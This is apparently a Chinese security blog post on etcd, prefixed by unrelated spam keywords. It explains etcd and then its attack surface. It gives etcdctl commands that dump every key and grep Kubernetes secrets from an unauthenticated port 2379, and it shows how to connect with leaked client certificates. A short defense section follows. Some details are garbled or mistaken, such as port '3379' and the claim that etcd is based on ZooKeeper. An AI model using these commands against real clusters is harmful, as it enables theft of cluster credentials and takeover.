贵州建站互联网科技有限公司,地图素材如何做ppt模板下载网站,网络营销案例2020,wordpress 缓存首页0x00 前言
本篇还是一样#xff0c;先来说一说etcd是什么#xff0c;干啥的#xff0c;然后再来看看etcd的攻击面到底有哪些#xff0c;做一个抛砖引玉的作用#xff0c;如有不妥之处还请斧正
0x01 etcd
依旧还是按照问问题的方式来进行阐述#xff0c;因为学到的东西…0x00 前言
本篇还是一样先来说一说etcd是什么干啥的然后再来看看etcd的攻击面到底有哪些做一个抛砖引玉的作用如有不妥之处还请斧正
0x01 etcd
依旧还是按照问问题的方式来进行阐述因为学到的东西终归还是要能讲出来才能更加的了解和深入。
什么是etcdetcd的特点是什么和redis的区别etcd作用的场景etcd和zookeeper的区别etcd版本区别
1.什么是etcd
etcd是一个可靠的kv存储系统常用于在分布式系统中存储数据是一个采用go语言开发的开源的系统。
2. etcd的特点是什么
简单提供面向客户的API安全SSL认证性能支持1w/sec写入可靠采用Raft协议保证分布式系统数据的可用性和一致性。 Raft是一种分布式一致性协议相对于Pasox而言更加简单都旨在解决分布式系统中的数据一致性和高可用性的问题 3.etcd和redis的区别
etcd主要应用场景在于可靠也就是一致性redis主要是在于读取性能。
4.etcd的作用场景
分布式场景服务注册和发现消息发布和订阅
5.etcd和zookeeper的区别
实际上可以这样理解etcd的原理是基于zookeeper进行实现的保证了良好的一致性才让etcd在分布式系统中出人头地~
6.etcd版本区别
在 etcd v2 版本中客户端采用的是 HTTPJSON 的方式与 Server 端进行交互。
在 etcd v3 版本中客户端采用的是 GRPC 的方式与 Server 端进行交互GRPC是一种效率高于rest接口的接口对接方式但是对于浏览器的适配度不高直接客户端到服务端进行交互。gRPC 由于其 protoc 编译器而具有原生代码生成功能该编译器与多种编程语言兼容。这对于集成了以不同语言和平台开发的各种服务的微服务系统来说尤其方便。
0x02 攻击面
etcd默认端口是2379和2380,2379端口主要是用来http接口通信2380是和和 peer 通信这里的peer是raft节点的代表按照字面理解的话实际上就是内部通信使用的节点。
通常情况下会使用密钥对peer.key和peer.cert来保护etcd成员之间的通信。那么攻击面就出来了。
1.3379端口外网开放client-cert-auth未授权
虽然外网开放但是外网开放也是需要权限才可以进行访问的。所以这里需要搭配client-cert-auth未授权来进行利用。
配置文件/etc/kubernetes/manifests/etcd.yaml 首先注释掉client-cert-authtrue这一行然后将https改为http。 这里直接访问2379端口 工具操作下载地址https://github.com/etcd-io/etcd/releases/
利用方式
etcdctl.exe --endpointshttp://192.168.247.156:2379/ get / –prefix 指定输出的格式–write-out“json” 获取所有的数据
etcdctl.exe --endpointshttp://192.168.247.156:2379/ get / –prefix --write-outjson --write-outjson dump.txt
获取secrets
etcdctl.exe --endpointshttp://192.168.247.156:2379/ get / --prefix --keys-only | grep /secrets/
获取证书这里获取到证书和token就相当于是已经拿下了k8s master相当于整个k8s已经整个沦陷了。 2.client-cert-auth泄露
泄露的方式有两种一种是泄露还有一种就是被人窃取留作后门泄露的方式多种多样管理面的以及技术面的存在任意文件下载或者读取漏洞等都可能会造成证书的遗失。
利用方式如下:
etcdctl.exe --insecure-skip-tls-verify --insecure-transporttrue --endpointshttps://192.168.247.156:2379/ --cacertca.crt --keyhealthcheck-client.key --certhealthcheck-client.crt endpoint health
其他的利用方式和未授权是一致的。
0x03 防护面
需要做的还是策略向的比如检查端口是否外网开放或者是内部开放最好的还是谁用谁申请申请后才可以进行使用。
证书的保护机制同密码保护谁用谁申请能原地生成就原地生成使用完之后立刻删除最好有行为检测可以通过AI模型计算是否处于异常的使用状态或者是针对执行的内容进行防护正常运维很少会使用到一些命令或者操作如果出现就可以进行标点标记进行观察以便最快速度进行阻断或者预防。
其实这个点同时可以作为蜜罐诱导攻击者获取指定权限从而监控后续操作。
以上。